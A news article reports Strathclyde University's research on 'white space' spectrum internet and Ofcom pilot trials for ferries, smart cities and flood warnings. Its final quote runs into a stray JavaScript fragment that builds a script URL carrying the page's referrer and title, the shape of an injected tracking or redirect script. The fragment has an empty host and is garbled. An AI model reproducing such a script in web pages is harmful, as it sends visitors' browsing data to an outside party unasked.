Strathclyde leads ‘white space’ internet plans


White space internet plans


By Émer O’Toole, News Editor

Research at the University could lead to a new ‘white space’ communication network offering enhanced services to the remotest part of the country.

Strathclyde is monitoring schemes to run wireless technologies on ferry services and trials of ‘smart city’ technology.

The technology, which uses gaps in radio spectrum between frequency bands called white space, is open to a range of uses that will aid increasing demand for data. The roll-out is set to be the first in Europe.

Seven pilot projects are taking place across Britain, including white space to provide internet connectivity and communications to ferries serving the Orkney Islands and in the Pentland Firth, which do not have wireless broadband at the moment.

Research led by Strathclyde’s Centre for White Space Communications- backed by the Scottish Government- explores how the most recent technology, including triple-band wi-fi, can improve internet coverage in indoor and outdoor urban locations and allow ‘smart city’ functionality.

Communications regulator Ofcom spoke of how the new technology could provide a range of new wireless applications to be used by customers and businesses after the test runs.

Philip Marnick, group director of the Spectrum Policy Group at Ofcom, said: “In a world where consumers’ demand for data services is experiencing huge growth, it is essential we find the most efficient ways to share the airwaves. White space technology could be one way of meeting this demand.

“These trials are an important first step in Ofcom understanding whether white space can be used in other spectrum bands.”

The Strathclyde project is backed by £77,630 of Scottish Government funding.

A spokeswoman from the University said: “Growth of wireless and mobile services and associated technologies will be an integral part of realising the government’s 2020 digital vision.

“This project ensures Scotland is at the forefront of a shift in spectrum management which will showcase new technologies and the use of white space.”

The current initiatives – which will be added to this year – involve public and private companies conducting trials of a variety of innovative applications, using spectrum temporarily licensed by Ofcom.

Additional UK schemes testing the technology include live streaming from London Zoo of footage of meerkats, Asian otters and giant Galapagos tortoises, delivered via white space to YouTube, and a flood warning network in Oxford, which gives early alerts by monitoring water levels in real-time.

Patrick Haynes, telecoms expert and former board member of Scotland IS, said: “The need for affordable data connections to far-flung Scotland is pressing if we are to sustain communities, enhance tourism, boost business growth and deliver more services on-line to the citizen.”s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;